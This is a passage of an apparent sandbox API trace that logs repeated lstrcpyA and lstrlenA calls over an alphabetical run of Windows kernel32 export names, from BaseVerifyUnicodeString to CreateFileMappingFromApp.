lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0119.415] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0119.415] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0119.415] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0119.416] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0119.416] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0119.416] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0119.416] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0119.416] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0119.416] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0119.416] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0119.416] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0119.416] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0119.416] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0119.416] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0119.416] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0119.416] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0119.416] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0119.416] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0119.416] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0119.416] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0119.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0119.417] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0119.417] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0119.417] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0119.417] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0119.417] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0119.417] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0119.417] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0119.417] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0119.417] lstrlenA (lpString="BEEP") returned 4 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0119.417] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0119.417] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0119.417] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0119.417] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0119.417] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0119.417] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0119.417] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0119.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0119.417] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0119.418] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0119.418] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0119.418] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0119.418] lstrlenA (lpString="CANCELIO") returned 8 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0119.418] lstrlenA (lpString="CANCELIOEX") returned 10 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0119.418] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0119.418] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0119.418] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0119.418] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0119.418] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0119.418] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0119.418] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0119.418] lstrlenA (lpString="CHECKELEVATION") returned 14 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0119.418] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0119.418] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0119.418] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0119.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0119.418] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0119.419] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0119.419] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0119.419] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0119.419] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0119.419] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0119.419] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0119.419] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0119.419] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0119.419] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0119.419] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0119.419] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0119.419] lstrlenA (lpString="CLOSESTATE") returned 10 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0119.419] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0119.419] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0119.419] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0119.419] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0119.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0119.419] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0119.420] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0119.420] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0119.420] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0119.420] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0119.420] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0119.420] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0119.420] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0119.420] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0119.420] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0119.420] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0119.420] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0119.420] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0119.420] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0119.420] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0119.420] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0119.420] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0119.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0119.420] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0119.421] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0119.421] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0119.421] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0119.421] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0119.421] lstrlenA (lpString="COPYCONTEXT") returned 11 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0119.421] lstrlenA (lpString="COPYFILE2") returned 9 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0119.421] lstrlenA (lpString="COPYFILEA") returned 9 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0119.421] lstrlenA (lpString="COPYFILEEXA") returned 11 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0119.421] lstrlenA (lpString="COPYFILEEXW") returned 11 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0119.421] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0119.421] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0119.421] lstrlenA (lpString="COPYFILEW") returned 9 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0119.421] lstrlenA (lpString="COPYLZFILE") returned 10 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0119.421] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0119.421] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0119.421] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0119.421] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0119.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0119.422] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0119.422] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0119.422] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0119.422] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0119.422] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0119.422] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0119.422] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0119.422] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0119.422] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0119.422] lstrlenA (lpString="CREATEEVENTA") returned 12 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0119.422] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0119.422] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0119.422] lstrlenA (lpString="CREATEEVENTW") returned 12 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0119.422] lstrlenA (lpString="CREATEFIBER") returned 11 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0119.422] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0119.422] lstrlenA (lpString="CREATEFILE2") returned 11 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0119.422] lstrlenA (lpString="CREATEFILEA") returned 11 [0119.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0119.423] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0119.423] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 